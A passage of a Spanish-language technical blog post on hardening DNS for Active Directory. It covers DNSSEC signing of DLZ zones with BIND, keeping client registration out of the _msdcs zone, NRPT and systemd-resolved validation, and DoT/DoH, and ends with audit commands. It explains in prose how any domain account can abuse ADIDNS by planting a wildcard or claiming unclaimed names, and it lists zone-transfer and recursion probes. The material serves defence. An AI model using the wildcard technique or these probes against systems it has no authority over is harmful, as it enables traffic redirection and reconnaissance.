ZSK no necesitan ninguna intervención; las rotaciones de KSK necesitan que el nuevo DS llegue al padre, que es la automatización de CDS/CDNSKEY de más adelante en esta entrada. rndc dnssec -status ad.example.com te dice dónde está cada clave en su vida.\nSi ese bloque corre en el DC o en su propio host es cuestión de a qué dirección apunta primaries. En el DC es una segunda instancia de named en una segunda dirección, transfiriendo desde la primera por el loopback o una interfaz de gestión. Eso es lo que significa «BIND con DLZ puede ser el firmante» en la práctica: el mismo software, la misma caja si quieres, pero la firma ocurre sobre la copia transferida en vez de sobre la zona DLZ.\nLa única trampa operativa es el notify — y está en el lado DLZ. El manual de ISC es rotundo sobre ello: DLZ «has no built-in support for DNS notify», así que a los servidores secundarios no se les informa automáticamente de los cambios en las zonas de la base de datos. Samba puede cambiar un registro en el directorio y la instancia DLZ no tiene ni idea de que debería decírselo a alguien.\nAsí que el primer salto es un sondeo, no un empuje. El firmante refresca según el temporizador SOA de la zona que transfiere, lo que significa:\nLa propagación de un cambio en el DC a un registro firmado y publicado está acotada por ese intervalo de refresco, no por segundos. Promociona un DC y sus nuevos registros _msdcs aparecen aguas abajo hasta un refresco más tarde. Ese intervalo es el dial a girar si el retraso importa. Es un trato contra la frecuencia con la que quieres que se consulte el DLZ, lo que trae a colación la otra cosa que ISC dice sobre DLZ: hace búsquedas en base de datos en tiempo real sin caché y «not recommended for use on high-volume servers». Ambas son argumentos a favor de esta topología en vez de en contra. El único cliente que tiene jamás la instancia DLZ es el firmante, preguntando una vez por refresco. La carga real de consultas del parque cae sobre los servidores autoritativos independientes, que sirven un fichero de zona firmado simple a toda velocidad. Todo lo de aguas abajo del firmante es convencional: los servidores autoritativos son secundarios de la zona firmada, reciben un notify como es debido, y nunca tocan el directorio ni una clave.\nLos clientes no deben escribir la zona que contiene los localizadores Esta es la importante, y es una regla de diseño más que un ajuste.\nActive Directory registra registros dinámicamente. Una máquina se une, y se registra a sí misma; un DC arranca, y registra los registros SRV que anuncian sus servicios. Actualización dinámica «segura» significa que esas actualizaciones están autenticadas — la máquina prueba que es quien dice ser con sus propias credenciales, y hay una ACL por registro para que una máquina generalmente solo pueda modificar un registro que creó ella.\nLee eso con cuidado, porque la garantía es más estrecha de lo que parece al principio. La actualización dinámica segura autentica quién está escribiendo. No evalúa qué significa el registro. Y el conjunto de cuentas con derecho a escribir es mucho más ancho de lo que la gente supone: en una zona integrada en AD por defecto el grupo Authenticated Users posee Create All Child Objects sobre el contenedor de la zona en el directorio, porque ADIDNS almacena cada registro como un objeto de AD bajo CN=MicrosoftDNS,DC=DomainDnsZones. No solo las cuentas de máquina — cualquier cuenta autenticada del dominio, incluida la que pertenece a quien abrió el adjunto de la factura esta mañana.\nLo que produce dos modos de fallo en una zona que contiene tanto registros de clientes como localizadores de servicio:\nLos nombres que aún no existen no pertenecen a nadie. Las ACL por registro protegen un registro que ya tiene dueño. Un nombre que nunca se ha registrado no tiene objeto sobre el que imponer una ACL, así que la primera cuenta que lo cree se lo queda. Ese es el mecanismo detrás de toda la familia de ataques ADIDNS, siendo el más afilado un comodín: crea * y cada nombre de la zona que nadie ha reclamado explícitamente — erratas, hosts dados de baja, wpad — resuelve al atacante. Los registros existentes quedan intactos, que es justo por lo que pasa desapercibido.\nEl radio de impacto incluye los localizadores. Los registros bajo _msdcs son cómo cada cliente del dominio encuentra un controlador de dominio y un KDC. Son los registros más críticos para la seguridad que posees, y en un despliegue por defecto se sientan en la misma zona en la que cuatrocientos portátiles escriben cada vez que consiguen una concesión DHCP.\nQuién puede escribir qué zona: una zona combinada frente a una separación por escritor Por defecto \u0026#8212; una zona ad.example.com localizadores y registros de clientes juntos _ldap._tcp.dc._msdcs. SRV _kerberos._udp SRV dc01 A laptop-042 A * A \u0026#8592; sin reclamar un nombre que nadie ha registrado no tiene ACL que imponer cada máquina unida puede escribirlo todo Una cuenta de máquina comprometida puede reescribir los registros que localizan un controlador de dominio. Separada por quién escribe ad.example.com \u0026#8212; solo DC ningún cliente tiene ruta de actualización a esta zona _ldap._tcp.dc._msdcs. SRV _kerberos._udp SRV dc01 A delegación NS dyn.ad.example.com o una zona Samba aparte con su propia ACL laptop-042 A cada máquina unida puede escribir sin ruta en localizadores Quién puede escribir qué. A la izquierda, una sola zona, y cada máquina unida es un escritor autorizado en la zona que contiene los localizadores de DC. A la derecha, la zona de AD la escriben solo los DC, y los registros de clientes caen en una sub-zona aparte donde lo peor que una máquina comprometida puede hacer es mentir sobre sí misma. Así que la regla: la zona que contiene los localizadores la escriben los controladores de dominio, y nada más. El registro dinámico de clientes va a otro sitio.\nOtro sitio puede ser cualquiera de dos cosas, y ambas están bien:\nUna sub-zona delegada servida en otro sitio. La zona de AD tiene una delegación NS para, digamos, dyn.ad.example.com, y los registros caen en un servidor aparte que acepta las actualizaciones. Las particiones de Samba no toman jamás una escritura de cliente. Una zona aparte en Samba con su propia ACL de actualización. Sigue en el directorio, pero es su propia zona, así que una escritura de cliente no tiene camino a _msdcs ni a los registros propios de un DC. La primera da la separación más dura; la segunda es menos que correr. Lo que suspende la regla no es ninguna de esas. Es el valor por defecto, donde las dos conviven. Que es como la mayoría de los dominios siguen funcionando, porque nadie lo eligió y nadie ha vuelto a mirarlo.\nY hay un segundo dividendo, el que ata esto de vuelta al pipeline. Una zona que solo escriben los controladores de dominio es una zona que apenas cambia jamás: una promoción de DC, una degradación de DC, y por lo demás silencio. Toda la rotación de una zona de AD por defecto es registro de clientes. Quítala y la objeción a firmar las particiones de AD se va con ella — no hay flujo de actualizaciones que las firmas persigan, así que firmarla es rutina en vez de una pelea. La disciplina de escritura y la firma son la misma decisión vista dos veces.\nJunto a cualquiera de esas, hay un permiso que ir a mirar — y en un DC de Microsoft es el arreglo directo. Como los registros ADIDNS son objetos de directorio, el derecho viene de una ACL de AD en vez de de nada del protocolo DNS: Authenticated Users poseyendo Create All Child Objects sobre el contenedor de la zona. Apretar eso es la mitigación más limpia para el problema del nombre no reclamado y del comodín, y en muchos parques el permiso se puede quitar de plano una vez que sabes qué necesita de verdad autorregistrarse. El DNS de AD de Samba almacena sus registros en el directorio de la misma forma, así que se aplica la misma pregunta — ve a mirar qué concede en realidad el contenedor de tu zona.\nPero espera — ¿deberían los clientes registrarse siquiera en 2026? Todo lo de arriba supone que la actualización dinámica de clientes es algo que necesitas y estás intentando hacer seguro. Antes de aceptar eso, vale la pena hacer la pregunta que nadie hace, porque la respuesta ha cambiado desde que este comportamiento se diseñó.\nEl registro DNS dinámico se construyó para un escritorio. Una caja bajo una mesa, un cable de red, una dirección que conservaba durante años. En ese mundo una máquina registrando su propio nombre era ordenado y básicamente cierto.\nAhora mira qué es un cliente en 2026. Se despierta en el wifi de casa. Entra a la oficina y se une a la inalámbrica corporativa. Se mete en una estación de acoplamiento y coge además una dirección cableada. Alguien arranca la VPN y aparece un adaptador de túnel con una tercera dirección. Se van a una cafetería, comparten conexión con un teléfono, y la VPN vuelve en una cuarta. Eso es una máquina, un nombre, y media docena de direcciones en una jornada de trabajo — y por defecto intentará registrar unas cuantas de ellas.\nAsí que la zona se llena de reclamaciones que fueron ciertas una vez.\nWindows registra cada adaptador que tiene, a menos que alguien haya pasado y desmarcado Register this connection\u0026rsquo;s addresses in DNS por interfaz. Un portátil acoplado en la VPN es una máquina con tres adaptadores vivos y una opinión sobre todos ellos. Múltiples registros A para un nombre no es un estado de error, es el resultado normal. Una consulta los devuelve todos, los clientes los prueban en el orden que les apetece, y las conexiones a ese nombre fallan en proporción a cuántas de las direcciones están muertas. Este es el mecanismo detrás de «el soporte remoto puede ver la máquina un minuto y al siguiente no». Las direcciones de VPN son las peores de todas, porque una dirección de túnel es válida durante una hora y el registro sobrevive a ella. El túnel se cae, la dirección del pool va a otro, y el nombre ahora apunta a un colega. Las estaciones de acoplamiento enturbian la identidad misma. A menos que se configure el paso de dirección MAC, la concesión pertenece al dock en vez de al portátil, así que un parque de hot-desk tiene nombres, concesiones y máquinas separándose entre sí a diario. Y la propiedad lo hace permanente. Un registro solo lo puede actualizar la cuenta que lo creó. Cuando un registro lo hizo DHCP bajo una credencial y la máquina más tarde intenta actualizarlo bajo la suya, la actualización falla, en silencio, y la dirección obsoleta se queda exactamente donde está. La historia de la limpieza tampoco es el rescate que parece. Samba tiene scavenging desde 4.9, pero está desactivado por defecto (dns zone scavenging = yes, con samba-tool dns zoneoptions --aging=1), y Samba misma dice que «should only be enabled on new zones or new installations», porque las versiones antiguas marcaban los registros dinámicos como estáticos y los estáticos como dinámicos. En los parques con más probabilidad de estar llenos de basura — los que llevan años funcionando — la herramienta para despejarla es la que te aconsejan no activar. También ha tenido un CVE propio.\nAsí que planteemos la pregunta directamente: qué consume en realidad el registro A de un portátil?\nEn la mayoría de las organizaciones, muy poco. Los usuarios conectan a servidores; los servidores no conectan a portátiles. Los consumidores genuinos son las herramientas de soporte remoto, RDP a una estación de trabajo con nombre, e inventario o monitorización — y casi todo ese instrumental mantiene su propio inventario y funciona a partir de un agente que se registra, porque nunca pudo fiarse de DNS para clientes móviles en primer lugar.\nLo que sugiere invertir el valor por defecto:\nLos servidores y la infraestructura obtienen registros del aprovisionamiento. Con NetBox y Ansible ya en escena, el registro lo crea lo mismo que creó la máquina, es correcto por construcción, y se elimina cuando la máquina se elimina. El parque cableado estable puede tomar registros de DHCP si algo los necesita de verdad, con una credencial poseyéndolos para que las actualizaciones no fallen. Los clientes móviles no registran nada en absoluto. Son consumidores de DNS, no publicadores de él. Si algo necesita alcanzar un portátil, necesita un agente, no un registro A. Acabas en el mismo sitio en el que te puso el argumento de seguridad, desde una dirección completamente distinta. Menos escritores significa una superficie ADIDNS más pequeña, una zona que no está llena de reclamaciones caducadas, y — de vuelta al pipeline — una zona lo bastante tranquila para firmar sin pensarlo.\nEl caso de seguridad dice que los clientes no deben escribir la zona que contiene los localizadores. El caso operativo pregunta por qué escriben DNS siquiera. En 2026, para una flota que cambia de dirección cinco veces al día, «no lo hacen» es una respuesta perfectamente buena, y bastante menos trabajo que hacer seguro su lío.\nVistas separadas, y de dónde viene la confianza La última pieza ata las dos mitades de la entrada.\nHay dos vistas del espacio de nombres. Una zona pública, publicada a internet, que contiene el puñado de nombres que el mundo necesita. Y una vista interna — el contenido derivado de AD, cada host unido, cada localizador de servicio, la topología de sitios — que el mundo no tiene por qué ver. Ese contenido es un mapa del parque, y debería ser inalcanzable e intransferible desde fuera.\nPero la confianza de la vista interna viene del lado público, y eso es lo que hace este diseño mejor que la isla habitual de DNS interno:\nexample.com es pública y firmada, con su DS en el padre y una cadena a la raíz. ad.example.com está delegada de ella. El padre público publica la delegación y un DS para la clave de la zona interna. Los servidores autoritativos internos sirven la ad.example.com firmada. Los resolvers internos la validan — raíz → com → example.com → ad.example.com — sin usar nada más que el ancla de confianza de la raíz que ya tenían. Sin ancla de confianza local. Sin isla. Sin clave distribuida a mano. Los datos nunca salen del edificio, y el camino de validación es el público corriente. Cuando añades un resolver, valida los nombres internos correctamente sin ninguna configuración de DNSSEC en absoluto.\nSiendo claro sobre el trato, porque lo hay. Publicar una delegación y un DS en la zona pública significa que la existencia de ad.example.com, y los nombres de sus servidores de nombres, son públicos. El contenido no lo es, y nunca lo es — pero le has dicho al mundo que la zona existe. A cambio, cada resolver que posees valida los nombres internos contra la raíz real. Es un buen trato para la mayoría de los parques, y debería ser uno deliberado en vez de una sorpresa.\nDos cosas que acertar junto a ello:\nMantén la vista interna inenumerable e intransferible. allow-transfer en los servidores autoritativos internos es para el firmante y tus propios secundarios, nada más. Y ten en cuenta que la denegación autenticada NSEC deja a cualquiera que pueda consultar la zona recorrerla de punta a punta; NSEC3 sube ese coste, pero el control real es que los de fuera no pueden alcanzar los servidores en absoluto. Automatiza el DS. Un DS en el padre que deja de coincidir con la clave del hijo lleva todo el dominio interno a SERVFAIL. CDS/CDNSKEY existen para que el hijo pueda señalar un cambio de clave y el padre pueda recogerlo sin que un humano edite un registro durante una rotación. Si la zona padre está en un registrador o proveedor que lo soporta, úsalo; si no, el procedimiento de rotación hay que escribirlo antes de la primera rotación, no durante. Hacer que Windows y Linux validen de verdad Todo hasta aquí ha ido de publicar una zona que se puede verificar. Nada de ello hace nada hasta que algo en el lado del cliente insiste en verificarla. Una zona perfectamente firmada y un cliente que nunca comprueba una firma producen exactamente la misma experiencia que una zona sin firmar, justo hasta el día en que no.\nSolo hay dos sitios donde la validación puede ocurrir, y la diferencia entre ellos es la diferencia entre un control de seguridad y una sugerencia educada.\nValida en el resolver, y fíate del bit AD. El cliente pregunta a un resolver, el resolver hace la criptografía, e informa del resultado poniendo un bit — AD, datos autenticados — en la respuesta. El cliente se cree el bit. Este es el modelo que usa Windows, y es solo tan fuerte como el camino entre el cliente y el resolver, porque cualquier cosa que pueda responder como el resolver puede poner ese bit.\nValida en el propio cliente. La máquina corre su propio resolver que valida, así que el «camino al resolver» es un socket de loopback dentro de la máquina y no queda nada que suplantar. Esto es más fuerte, y en Linux es del todo alcanzable.\nPor defecto no hay nada Antes de configurar nada, vale la pena ver qué hace una estación de trabajo Linux corriente recién sacada de la caja. Esta es una máquina Fedora 44, systemd 259, sin tocar:\n$ resolvectl status | head -3 Global Protocols: LLMNR=resolve -mDNS -DNSOverTLS DNSSEC=no/unsupported resolv.conf mode: stub $ grep options /etc/resolv.conf options edns0 trust-ad $ dig +dnssec cloudflare.com A | grep flags ;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1 Lee esas tres juntas, porque cuentan una pequeña historia.\nEl stub está configurado con trust-ad — se le ha dicho que se crea el bit AD. systemd-resolved informa de DNSSEC=no/unsupported, así que él no está validando nada. Y la respuesta para una zona firmada vuelve con los flags qr rd ra y sin ad — nada en ninguna parte de ese camino afirmó haber validado.\nEso no es una mala configuración. Es el valor por defecto. A un cliente se le puede decir que se fíe de una afirmación que nada en la cadena está haciendo. No lo comprueba nadie. Vale la pena quedarse con ello un minuto antes de configurar cualquier otra cosa.\nLinux Tres opciones, en orden creciente de lo poco que tienes que fiarte de la red.\n1. systemd-resolved, validando localmente. Un drop-in en vez de editar el fichero entregado:\n# /etc/systemd/resolved.conf.d/dnssec.conf [Resolve] DNSSEC=yes DNSOverTLS=opportunistic Luego systemctl restart systemd-resolved y confirma con resolvectl status que la línea ahora dice DNSSEC=yes.\nEl ajuste con el que hay que tener cuidado es el del medio. DNSSEC=allow-downgrade parece un compromiso sensato y no es un control de seguridad — resolved.conf(5) lo dice él mismo:\nNote that this mode makes DNSSEC validation vulnerable to \u0026ldquo;downgrade\u0026rdquo; attacks, where an attacker might be able to trigger a downgrade to non-DNSSEC mode by synthesizing a DNS response that suggests DNSSEC was not supported.\nUn atacante que puede forjar respuestas es exactamente el atacante para detener el cual existe DNSSEC, así que un modo que pueden apagar forjando una respuesta no te compra nada contra ellos. Es yes o es decoración.\n2. Un resolver que valida de verdad en el host. El validador de systemd-resolved es cómodo en vez de minucioso. Donde importa, corre Unbound o BIND en el loopback y apunta el stub a él:\n# unbound: validate against the root anchor, refuse to be stripped server: module-config: \u0026#34;validator iterator\u0026#34; auto-trust-anchor-file: \u0026#34;/var/lib/unbound/root.key\u0026#34; harden-dnssec-stripped: yes val-permissive-mode: no # the internal zone is reached like any other name — no local anchor needed forward-zone: name: \u0026#34;ad.example.com.\u0026#34; forward-addr: 192.0.2.53 El equivalente de BIND es una línea — dnssec-validation auto; — que usa su copia incorporada del ancla de la raíz y gestiona la rotación por ti.\n3. A escala de todo el parque, en los resolvers que ya corres. Estos son la etapa cuatro del pipeline de antes en esta entrada. La validación ocurre ahí, los clientes se fían del bit AD, y el salto entre ellos es lo que tienes que proteger — con DoT, o con una red sobre la que estés dispuesto a hacer esa suposición.\nY fíjate en lo que no está en ninguna de esas configuraciones: un ancla de confianza para la zona interna. Como ad.example.com es una delegación dentro de una zona firmada públicamente, cada una de estas valida los nombres internos a través de la cadena corriente desde la raíz. Ese es el diseño de la sección anterior pagándose solo. La alternativa es empujar un ancla local a cada cliente y resolver del parque, y re-empujarla en cada rotación.\nWindows Lo importante primero, porque se malinterpreta habitualmente: el Cliente DNS de Windows no valida DNSSEC. No hace criptografía, no comprueba ninguna firma, y no guarda ninguna ancla de confianza. Es un resolver stub, y siempre lo ha sido.\nLo que puedes hacer es forzarlo a rechazar respuestas que no fueron validadas por el servidor en su nombre. Eso es la Name Resolution Policy Table, y es por espacio de nombres en vez de global:\n# Require validated answers for the internal zone Add-DnsClientNrptRule -Namespace \u0026#34;.ad.example.com\u0026#34; ` -DnsSecEnable -DnsSecValidationRequired # What is actually in force on this machine, including from Group Policy Get-DnsClientNrptPolicy -Effective Get-DnsClientNrptRule Para el parque, lo mismo vive en la Directiva de Grupo bajo Computer Configuration → Policies → Windows Settings → Name Resolution Policy: crea una regla para el espacio de nombres, marca la opción DNSSEC, y marca el requisito de que el cliente compruebe que los datos fueron validados por el servidor DNS.\nDos cosas se siguen de eso, y ambas importan.\nAlgo río arriba todavía tiene que hacer la validación. La regla NRPT hace que el cliente exija el bit AD; no lo crea. El resolver al que esos clientes apuntan debe ser un resolver que valida, o cada nombre de ese espacio de nombres falla.\nY esta es la razón por la que la regla NRPT tiene opciones de IPsec al lado. Microsoft las puso ahí por la razón expuesta al principio de esta sección: exigir un bit que cualquier atacante en el camino puede poner no es gran requisito. Si te apoyas en el modelo de que-valida-el-resolver en una red no fiable, el último salto necesita protección — IPsec entre cliente y resolver, o DoT donde el resolver lo soporte.\nFalla cerrado, así que despliégalo en ese orden Forzar la validación convierte una clase de compromiso silencioso en una clase de caída ruidosa. Ese es el trato correcto, y sigue siendo una caída: un RRSIG caducado, un DS en el padre que ya no coincide tras una rotación, o un resolver que no puede alcanzar la zona padre producen todos SERVFAIL, y SERVFAIL para _ldap._tcp.dc._msdcs significa que el dominio está caído en vez de degradado.\nAsí que hazlo en este orden:\nActiva la validación en los resolvers primero, y deja a los clientes en paz. Vigila los SERVFAIL en los registros del resolver durante un par de semanas — aquí es donde encuentras la zona que ha estado rota en silencio durante un año. Automatiza el DS antes de forzar nada, según la sección anterior. La mayoría de las caídas de DNSSEC autoinfligidas son una rotación en la que el padre nunca se actualizó. Luego fuerza a los clientes, un espacio de nombres cada vez, empezando por tu propia estación de trabajo y una OU de prueba en vez de todo el parque. El fallo contra el que estás diseñando es que a un cliente se le entregue un controlador de dominio forjado. El fallo que estás arriesgando es que a un cliente no se le entregue nada en absoluto. El segundo es recuperable y obvio; el primero no es ninguna de las dos cosas. Te enterarás de la caída en un minuto. De la otra no te habrías enterado jamás.\nCifrar el último salto: DoT y DoH en los resolvers internos La sección de validación dejó una cosa colgando. En el modelo de que-valida-el-resolver — el que te da Windows — el cliente se fía de un solo bit puesto por el resolver, y ese bit vale solo lo que el camino por el que viajó. Algo tiene que proteger ese camino.\nBIND sí soporta ambos transportes cifrados de forma nativa, así que esto es un trabajo de configuración en vez de uno de compra:\nDNS sobre TLS — un bloque tls referenciado desde listen-on, convencionalmente en el puerto 853. DNS sobre HTTPS — el mismo bloque tls más un bloque http, en el 443. DoT saliente, porque forwarders toma un transporte TLS por dirección o para la lista entera. Transferencias de zona sobre TLS, porque la sentencia primaries de una zona type secondary también toma uno — lo que es directamente útil para el pipeline de antes en esta entrada. Primero, ten claro qué compra esto, porque DoT y DNSSEC se confunden constantemente y no son alternativas. DNSSEC autentica los datos, todo el camino de vuelta hasta la zona que los publicó. DoT protege la conversación con el resolver. Uno sobrevive a un resolver hostil y a una red hostil entre resolvers; el otro impide que la máquina en tu wifi lea y reescriba lo que tu portátil preguntó. Quieres ambos, y ninguno sustituye al otro. Cifrar el salto hasta un resolver que no valida es una conversación privada con algo al que aún se le puede mentir.\nServirlo tls internal-resolver { key-file \u0026#34;/etc/pki/dns/resolver.key\u0026#34;; cert-file \u0026#34;/etc/pki/dns/resolver.pem\u0026#34;; protocols { TLSv1.3; }; }; http internal-doh { endpoints { \u0026#34;/dns-query\u0026#34;; }; }; options { dnssec-validation auto; listen-on port 53 { 192.0.2.53; }; listen-on port 853 tls internal-resolver { 192.0.2.53; }; listen-on port 443 tls internal-resolver http internal-doh { 192.0.2.53; }; listen-on-v6 port 853 tls internal-resolver { 2001:db8::53; }; }; El certificado es el trabajo de verdad, y es la parte que se salta. Un cliente que verifica — que es todo el objeto — necesita un certificado válido para el nombre con el que fue configurado, emitido por algo en lo que ya confía. Eso significa tu CA interna y tu automatización de certificados existente, no la palabra clave ephemeral. ephemeral genera un certificado autofirmado de usar y tirar; está ahí para que puedas probar que el escuchador funciona, y no vale nada para ningún cliente que de verdad compruebe.\nReenviar sobre él Si esos resolvers reenvían a algún sitio en vez de recorrer el árbol ellos mismos, el salto río arriba también se puede cifrar — y hay una distinción aquí que conviene acertar:\ntls upstream { ca-file \u0026#34;/etc/pki/tls/certs/ca-bundle.crt\u0026#34;; remote-hostname \u0026#34;dns.example.net\u0026#34;; }; options { forwarders port 853 tls upstream { 192.0.2.1; }; }; Sin remote-hostname, obtienes cifrado sin autenticación: el tráfico es ilegible para un observador pasivo, y un atacante activo que puede interceptar la conexión simplemente presenta su propio certificado. Con remote-hostname y ca-file, BIND verifica con quién está hablando. El primero vale algo. Solo el segundo vale llamarlo un control.\nLa mitad del cliente no es simétrica Aquí es donde un parque mixto se pone incómodo, y es la razón de configurar ambos transportes en vez de elegir uno.\nLinux hace DoT como es debido. systemd-resolved toma DNSOverTLS=yes para el modo estricto, y al servidor se le puede dar el nombre contra el que verificar:\n[Resolve] DNS=192.0.2.53#resolver.ad.example.com DNSOverTLS=yes DNSSEC=yes Como con DNSSEC=, el ajuste del medio es la trampa: DNSOverTLS=opportunistic recae en texto claro cuando TLS no está disponible, lo que un atacante que puede interferir con la conexión puede arreglar.\nWindows hace DoH, y no DoT. El soporte de DoH en el cliente llegó en Windows 11 y Server 2022, configurado por servidor con una plantilla:\n$doh = \u0026#34;https://resolver.ad.example.com/dns-query\u0026#34; netsh dnsclient add encryption server=192.0.2.53 dohtemplate=$doh DoT, al momento de escribir esto, solo ha aparecido en compilaciones Insider. Así que en el Windows publicado la opción cifrada es DoH o nada, que es justo por lo que la sección de NRPT de antes echó mano de IPsec en su lugar.\nDe ahí servir ambos desde la misma instancia de BIND. DoT para la flota Linux y cualquier otra cosa que lo hable, DoH para Windows, un resolver, un certificado.\nCuál, y dónde Para un resolver interno, DoT es el transporte mejor y DoH es la respuesta de compatibilidad.\nDoT se sienta en su propio puerto. Puedes verlo, permitirlo, denegarlo, y alertar sobre cualquier cosa que haga DNS que no lo esté haciendo así. La ventaja de DoH — indistinguible del tráfico web corriente en el 443 — es un beneficio genuino en una red hostil y un fastidio en la tuya, donde poder saber qué es DNS es una función que pagaste. En el parque que controlas, prefiere el transporte que puedes observar, y corre DoH porque Windows no te deja elección en vez de porque sea mejor.\nYa que estás: cifra las transferencias El pipeline de antes en esta entrada mueve la zona de AD por AXFR, y la sección de vistas separadas hizo el punto de que su contenido es un mapa del parque. TSIG autentica esas transferencias; no las oculta. Como la sentencia primaries de un secundario acepta una configuración TLS, la transferencia también puede correr sobre TLS — RFC 9103 si quieres el estándar:\nzone \u0026#34;ad.example.com\u0026#34; { type secondary; primaries { 192.0.2.10 port 853 tls xfr-tls key transfer-to-signer; }; ... }; Autenticada por la clave, cifrada por el transporte. Si cualquier salto de ese pipeline cruza un enlace de sitio, un hipervisor que compartes, o cualquier cosa sobre la que no pondrías felizmente un hub, valen los veinte minutos.\nLo que no arregla No es validación. Cubierto arriba, y vale repetirlo porque los proveedores venden «DNS seguro» queriendo decir solo cifrado. No oculta nada del resolver. El resolver ve cada consulta al completo. El cifrado protege el camino, no la privacidad de la consulta frente al operador — lo cual está bien cuando el operador eres tú. No hace nada por un cliente que no verifica el certificado, y los modos oportunistas son degradables por exactamente el atacante que te preocupa. Y no es una razón para poner un escuchador en el controlador de dominio. DNS cifrado en el DC sería resolver el problema equivocado maravillosamente. El DC sigue sin responder a nadie. Cómo comprobar lo que tienes Comandos para lanzar contra tu propio parque. Las salidas son la parte interesante, y un par de ellas suelen ser una lectura incómoda la primera vez.\n# Walk the tree yourself, one delegation at a time dig +trace dc01.ad.example.com # Validate, and show the chain being built delv +rtrace +vtrace ad.example.com SOA # Is the resolver you are pointed at actually validating? # A deliberately broken test name must come back SERVFAIL, not an address dig @\u0026lt;resolver\u0026gt; dnssec-failed.org A # What does the estate advertise as a domain controller? dig SRV _ldap._tcp.dc._msdcs.\u0026lt;domain\u0026gt; dig SRV _kerberos._udp.\u0026lt;domain\u0026gt; # Is a DC answering for names it has no business answering? # Ask it for something it is not authoritative for. \u0026#34;recursion requested # but not available\u0026#34; is the answer you want. An actual address means it is # serving the estate — recursing if it is BIND, relaying to the forwarder # if it is SAMBA_INTERNAL. Either way it should not be doing that. dig @\u0026lt;dc\u0026gt; www.example.org A # Is the DC configured as the estate\u0026#39;s DNS relay? grep -E \u0026#39;dns forwarder|server services\u0026#39; /etc/samba/smb.conf # Will a DC hand its zone to anybody who asks? dig @\u0026lt;dc\u0026gt; AXFR ad.example.com # Which backend is this DC running, and does named have the module? grep -r dlz /etc/named.conf /var/lib/samba/bind-dns/ 2\u0026gt;/dev/null samba-tool dns query \u0026lt;dc\u0026gt; \u0026lt;domain\u0026gt; @ ALL # Is the internal zone chained to the public parent? dig DS ad.example.com @\u0026lt;public-authoritative-for-example.com\u0026gt; # What does the local stub actually do with the AD bit, and is the # hop to the resolver encrypted? resolvectl status # DNSSEC= and DNSOverTLS= per link grep options /etc/resolv.conf # trust-ad, trusting whom exactly? # Did anything in the path claim to have validated? Look for \u0026#34;ad\u0026#34; in the flags dig +dnssec ad.example.com SOA | grep flags # Validate independently of whatever the local resolver believes delv ad.example.com SOA # \u0026#34;fully validated\u0026#34; is the line you want # Is the resolver actually listening for DoT, and does its certificate # match the name clients are configured with? kdig +tls @192.0.2.53 ad.example.com SOA openssl s_client -connect 192.0.2.53:853 \\ -servername resolver.ad.example.com \u0026lt;/dev/null 2\u0026gt;/dev/null \\ | openssl x509 -noout -subject -dates Y en un cliente Windows, para ver si está exigiendo algo en absoluto:\nGet-DnsClientNrptPolicy -Effective # the rules actually in force Resolve-DnsName ad.example.com -DnssecOk Get-DnsClientDohServerAddress # is the hop to the resolver encrypted? Los dos que más a menudo producen una sorpresa son la comprobación de recursión y el intento de AXFR. Si un DC responde a cualquiera de ellos para un cliente arbitrario, el pipeline de esta entrada no está en su sitio, diga lo que diga el diagrama de la wiki.\nEl tercero es resolvectl status en una máquina que nadie ha tocado. DNSSEC=no/unsupported junto a trust-ad en resolv.conf es el estado normal de un escritorio Linux, y significa que el trabajo de firma descrito arriba lo está comprobando actualmente nadie.\nLa versión corta Un resolver nace sabiendo los servidores raíz y una clave, y aprende todo lo demás porque se lo dicen. Los nombres se encuentran recorriendo delegaciones a la bajada, y los servicios se encuentran pidiendo un registro SRV — así que para cuando un cliente empieza a hacer Kerberos con un controlador de dominio, la identidad de ese controlador de dominio vino de una respuesta DNS. El descubrimiento por DNS es correcto y está bien. La autorización por DNS no lo está, y una cantidad sorprendente de infraestructura la hace en silencio de todas formas.\nDNSSEC es lo que hace verificables esas respuestas: firmas en cada conjunto, un DS en cada padre, una cadena a una sola ancla de confianza en la raíz, y denegación autenticada para que no se pueda hacer desaparecer un nombre. Compra autenticación de origen e integridad — no privacidad, y no corrección. Firma lo que sea que diga la zona, que es por lo que no puede rescatar una zona que máquinas no fiables tienen permiso para escribir. Y necesita un padre: un TLD interno inventado no tiene dónde poner un DS, así que .local, .lan, .internal y home.arpa te dejan todos o sin firmar o corriendo una isla privada de claves distribuidas a mano.\nPara un dominio de Active Directory, eso produce un diseño en vez de una lista de ajustes. Usa una delegación dentro de una zona pública que posees, para que la confianza baje por la cadena corriente desde la raíz mientras los datos nunca salen. Sirve las particiones de AD con BIND y dlz_bind9 — DLZ no es el riesgo, es cómo sacas la zona del directorio — y deja que el DC sea un primario oculto que transfiere hacia fuera y no responde a nadie más. Una zona DLZ no se puede firmar a sí misma, así que la firma es una zona secundaria normal que contiene la copia transferida, con inline-signing y una dnssec-policy encima: un segundo named en el DC si quieres menos máquinas, un host aparte si quieres las claves privadas fuera del directorio. En cualquier caso se firma una vez, en un punto definido, bajo una política de claves — y el primer salto es un sondeo en vez de un empuje, porque DLZ no puede enviar un notify. Publica desde servidores autoritativos independientes que no guardan claves y no tienen ruta al directorio.\nY mantén a los clientes fuera de la zona que importa. La actualización dinámica segura autentica al escritor, no el significado, y en una zona integrada en AD por defecto los escritores son Authenticated Users — cada cuenta, no solo cada máquina — así que una zona que contiene tanto registros de portátiles como localizadores _msdcs está a un usuario phisheado de que a un cliente se le diga, con una firma perfectamente válida, que el controlador de dominio está en otra parte. Los registros de clientes pertenecen a una sub-zona, delegada fuera o aparte en Samba, donde lo peor que una cuenta comprometida puede hacer es mentir sobre sí misma.\nAunque la mejor pregunta es si los clientes deberían registrarse en absoluto. Un portátil de 2026 tiene una dirección en el wifi de casa, otra en la inalámbrica de la oficina, otra por el dock y otra en la VPN, y publicará alegremente casi todas. Lo que consume el registro A de un portátil es casi nada — las herramientas que necesitan alcanzar una estación de trabajo mantienen su propio inventario, porque DNS nunca fue fiable para clientes móviles de todos modos. Los registros de los servidores deberían venir del aprovisionamiento, y la flota debería no registrar nada.\nLuego haz que algo compruebe las firmas, porque nada de lo anterior vale nada hasta que un cliente rechaza una respuesta. En Linux eso significa DNSSEC=yes en systemd-resolved, o un resolver que valida de verdad en el loopback — nunca allow-downgrade, que un atacante capaz de forjar respuestas puede simplemente apagar forjando una respuesta. En Windows significa aceptar que el cliente DNS nunca valida nada por sí mismo, y usar una regla NRPT para hacer que exija una respuesta que el resolver validó, con el último salto protegido porque ese requisito es un solo bit. Actívalo en los resolvers primero y vigila los SERVFAIL, automatiza el 